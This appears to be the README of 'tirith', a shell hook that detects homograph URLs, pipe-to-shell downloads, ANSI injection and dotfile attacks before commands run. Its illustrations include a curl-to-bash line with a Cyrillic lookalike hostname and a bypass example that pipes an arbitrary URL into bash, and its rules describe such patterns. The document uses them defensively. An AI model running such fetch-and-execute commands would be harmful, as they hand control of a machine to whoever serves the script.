tirith-core 0.1.1

URL security analysis library
Documentation

tirith

Your browser would catch this. Your terminal won't.

CI License: Apache-2.0


Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.

Tirith stands at the gate.

brew install sheeki03/tap/tirith && eval "$(tirith init)"

That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.

Also available via npm install -g tirith, cargo install tirith, scoop, and more.


See it work

Homograph attack — blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Set TIRITH=0 to bypass (use with caution)

The command never executes.

Pipe-to-shell with clean URL — warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter — Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Normal commands — invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.


What it catches

30 rules across 7 categories. All analysis is local. No network calls.

Category What it stops
Homograph attacks Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels
Terminal injection ANSI escape sequences that rewrite your display, bidi overrides that reverse text, zero-width characters that hide in domains
Pipe-to-shell curl | bash, wget | sh, python <(curl ...), eval $(wget ...) — every source-to-sink pattern
Dotfile attacks Downloads targeting ~/.bashrc, ~/.ssh/authorized_keys, ~/.gitconfig — blocked, not just warned
Insecure transport Plain HTTP piped to shell, curl -k, disabled TLS verification
Ecosystem threats Git clone typosquats, untrusted Docker registries, pip/npm URL installs
Credential exposure http://user:pass@host userinfo tricks, shortened URLs hiding destinations

Install

macOS:

brew install sheeki03/tap/tirith

Linux / macOS (shell script):

curl -fsSL https://raw.githubusercontent.com/sheeki03/tirith/main/scripts/install.sh | sh

npm:

npm install -g tirith

Cargo:

cargo install tirith

Windows:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Arch Linux (AUR):

pacman -S tirith

Then activate — add to your .zshrc, .bashrc, or config.fish:

eval "$(tirith init)"
Shell Hook type Tested on
zsh preexec + paste widget 5.8+
bash preexec (two modes) 5.0+
fish fish_preexec event 3.5+
PowerShell PSReadLine handler 7.0+

Commands

tirith check -- <cmd>           Analyze a command without executing
tirith paste                    Analyze clipboard/pasted content
tirith score <url>              URL trust breakdown
tirith diff <url>               Byte-level Unicode comparison
tirith why                      Explain the last triggered rule
tirith run <url>                Download-first safe installer runner
tirith receipt {last,list,verify}  Install script tracking
tirith init                     Print shell hook for eval
tirith doctor                   Diagnostic info (paths, shell, policy)

tirith run replaces curl | bash with a safe workflow: download to temp file, show SHA256, static analysis, review in pager, execute only after confirmation. Creates a receipt you can verify later.

tirith diff shows you exactly what's wrong, byte by byte:

$ tirith diff https://exаmple.com
  Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а)

What tirith never does

  • No network calls during check or paste — all analysis is local
  • No command rewriting — tirith never modifies what you typed
  • No telemetry — nothing leaves your machine, ever
  • No background processes — invoked per-command, exits immediately
  • No cloud dependency — works offline, no accounts, no API keys

Configuration

Tirith uses a YAML policy file. Discovery order:

  1. .tirith/policy.yaml in current directory (walks up to repo root)
  2. ~/.config/tirith/policy.yaml
version: 1
allowlist:
  - "get.docker.com"
  - "sh.rustup.rs"

severity_overrides:
  docker_untrusted_registry: critical

fail_mode: open  # or "closed" for strict environments

More examples in docs/cookbook.md.

Bypass for the rare case you know exactly what you're doing:

TIRITH=0 curl -L https://something.xyz | bash

Organizations can disable this: allow_bypass: false in policy.


Data handling

Local JSONL audit log at ~/.local/share/tirith/log.jsonl:

  • Timestamp, action, rule ID, redacted command preview
  • No full commands, environment variables, or file contents

Disable: export TIRITH_LOG=0


Docs

License

Apache-2.0. See LICENSE-APACHE for details.

Third-party data attributions in NOTICE.